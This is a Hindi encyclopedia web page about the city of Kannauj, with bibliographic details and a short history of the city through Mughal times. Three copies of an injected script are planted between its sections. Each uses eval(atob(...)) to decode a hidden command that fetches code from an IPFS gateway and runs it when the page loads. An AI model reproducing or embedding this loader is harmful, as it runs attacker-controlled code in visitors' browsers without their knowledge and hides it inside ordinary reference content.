कन्नौज

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
कन्नौज
पुस्तक नाम हिन्दी विश्वकोश खण्ड 2
पृष्ठ संख्या 395
भाषा हिन्दी देवनागरी
संपादक सुधाकर पांडेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1975 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक रामलोचन सिंह

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • उत्तर प्रदेश के फर्रुखाबाद ज़िले का एक नगर, गंगा के बाई और ग्रैंड ट्रंक सड़क से ३ कि.मी. की दूरी पर स्थित है।
  • किसी समय गंगा नदी इस नगर के पार्श्व से बहती थी।
  • रामायण में इस नगर का उल्लेख मिलता है।
  • तॉलेमी ने ईसा के काल में कन्नौज को कनोगिज़ा लिखा है।
  • पाँचवीं शताब्दी में यह गुप्त साम्राज्य का एक प्रमुख नगर था।
  • छठी शताब्दी में श्वेत हूणों के आक्रमण से यह काफी विनष्ट हो गया था।
  • चीनी यात्री युवानच्वाङ, ने, जो हर्षवर्धन के समय भारत आया था, इस नगर का उल्लेख किया है।
  • ११वीं शताब्दी के आंरभिक काल में मुसलमानों के आक्रमण के कारण यह नगर काफी विनष्ट हुआ।
  • ११९४ ई. में मुहम्मद गौरी ने इस नगर पर अपना स्वत्व जमाया।
  • 'आइन अकबरी' द्वारा ज्ञात होता है कि अकबर के समय में यहाँ सरकार का मुख्य कार्यालय था।
  • प्राचीन काल के भग्नावशेष आज भी लगभग छह कि.मी. व्यास के अर्धवृत्तीय क्षेत्र में वर्तमान हैं।
  • इस नगर के निकट कई मसजिंदे, कब्रें तथा समाधियाँ हैं जिनमें बालापार तथा शेख मेंहँदी की समाधियाँ उल्लेखनीय हैं।
  • वर्तमान काल में यह नगर गुलाबजल, इत्र एवं अन्य सुगंधित पदार्थ बनाने के लिए प्रसिद्ध है।

टीका टिप्पणी और संदर्भ